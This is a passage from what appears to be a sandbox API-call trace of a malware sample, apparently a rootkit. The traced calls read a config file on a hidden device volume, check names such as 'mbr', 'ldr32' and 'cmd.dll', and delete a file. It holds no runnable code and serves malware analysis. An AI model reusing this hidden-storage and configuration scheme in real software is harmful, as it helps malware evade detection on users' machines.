FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] KeLeaveCriticalRegion () [0117.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.353] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.353] KeEnterCriticalRegion () [0117.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] ExFreePoolWithTag (P=0xfffffa80039c5da0, Tag=0x0) [0117.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] KeLeaveCriticalRegion () [0117.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.353] ReleaseMutex (hMutex=0xf0) returned 1 [0117.353] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.353] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.353] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.353] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.353] KeEnterCriticalRegion () [0117.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.354] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.354] IdePortDispatch () returned 0x103 [0117.354] KeWaitForMutexObject () returned 0x0 [0117.355] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.355] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.355] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.355] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.355] KeLeaveCriticalRegion () [0117.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.355] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.355] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.355] KeEnterCriticalRegion () [0117.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.355] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.355] IdePortDispatch () returned 0x103 [0117.355] KeWaitForMutexObject () returned 0x0 [0117.355] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.355] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.355] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.355] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.355] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.355] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.355] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.356] KeLeaveCriticalRegion () [0117.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.356] ReleaseMutex (hMutex=0x100) returned 1 [0117.356] Sleep (dwMilliseconds=0x2bf20) [0117.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x692cc410, dwHighDateTime=0x1d24fa4)) [0117.402] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.402] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.402] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.402] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.402] KeEnterCriticalRegion () [0117.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.402] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.402] IdePortDispatch () returned 0x103 [0117.402] KeWaitForMutexObject () returned 0x0 [0117.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.403] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.403] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.403] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.403] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.403] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c8330 [0117.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] KeLeaveCriticalRegion () [0117.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.403] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.403] KeEnterCriticalRegion () [0117.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] KeLeaveCriticalRegion () [0117.403] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.403] KeEnterCriticalRegion () [0117.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.403] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.403] IdePortDispatch () returned 0x103 [0117.403] KeWaitForMutexObject () returned 0x0 [0117.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] KeLeaveCriticalRegion () [0117.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.403] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.403] KeEnterCriticalRegion () [0117.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9a000 [0117.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.403] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.404] IdePortDispatch () returned 0x103 [0117.404] KeWaitForMutexObject () returned 0x0 [0117.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.404] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.404] IdePortDispatch () returned 0x103 [0117.404] KeWaitForMutexObject () returned 0x0 [0117.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.404] KeLeaveCriticalRegion () [0117.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.404] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.405] KeEnterCriticalRegion () [0117.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] KeLeaveCriticalRegion () [0117.405] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.405] KeEnterCriticalRegion () [0117.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.405] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c1750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] KeLeaveCriticalRegion () [0117.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.405] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.405] KeEnterCriticalRegion () [0117.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] ExFreePoolWithTag (P=0xfffffa80039c8330, Tag=0x0) [0117.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] KeLeaveCriticalRegion () [0117.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.405] ReleaseMutex (hMutex=0xf0) returned 1 [0117.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.405] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.405] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.405] KeEnterCriticalRegion () [0117.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.405] IdePortDispatch () returned 0x103 [0117.405] KeWaitForMutexObject () returned 0x0 [0117.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.406] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.406] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d6af0 [0117.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] KeLeaveCriticalRegion () [0117.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.406] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.406] KeEnterCriticalRegion () [0117.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] KeLeaveCriticalRegion () [0117.406] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.406] KeEnterCriticalRegion () [0117.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.406] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.406] IdePortDispatch () returned 0x103 [0117.406] KeWaitForMutexObject () returned 0x0 [0117.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] KeLeaveCriticalRegion () [0117.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.406] KeEnterCriticalRegion () [0117.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9b000 [0117.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.406] IdePortDispatch () returned 0x103 [0117.406] KeWaitForMutexObject () returned 0x0 [0117.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.407] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.407] IdePortDispatch () returned 0x103 [0117.407] KeWaitForMutexObject () returned 0x0 [0117.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.407] KeLeaveCriticalRegion () [0117.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.407] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.407] KeEnterCriticalRegion () [0117.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.407] KeLeaveCriticalRegion () [0117.408] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.408] KeEnterCriticalRegion () [0117.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.408] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d4620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] KeLeaveCriticalRegion () [0117.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.408] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.408] KeEnterCriticalRegion () [0117.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] ExFreePoolWithTag (P=0xfffffa80039d6af0, Tag=0x0) [0117.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] KeLeaveCriticalRegion () [0117.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.408] ReleaseMutex (hMutex=0xf0) returned 1 [0117.408] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.408] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.408] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.408] KeEnterCriticalRegion () [0117.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.408] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.408] IdePortDispatch () returned 0x103 [0117.408] KeWaitForMutexObject () returned 0x0 [0117.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.408] KeLeaveCriticalRegion () [0117.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.408] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.409] KeEnterCriticalRegion () [0117.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.409] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.409] KeLeaveCriticalRegion () [0117.409] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.409] KeEnterCriticalRegion () [0117.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.409] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.409] IdePortDispatch () returned 0x103 [0117.409] KeWaitForMutexObject () returned 0x0 [0117.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.409] KeLeaveCriticalRegion () [0117.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.409] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 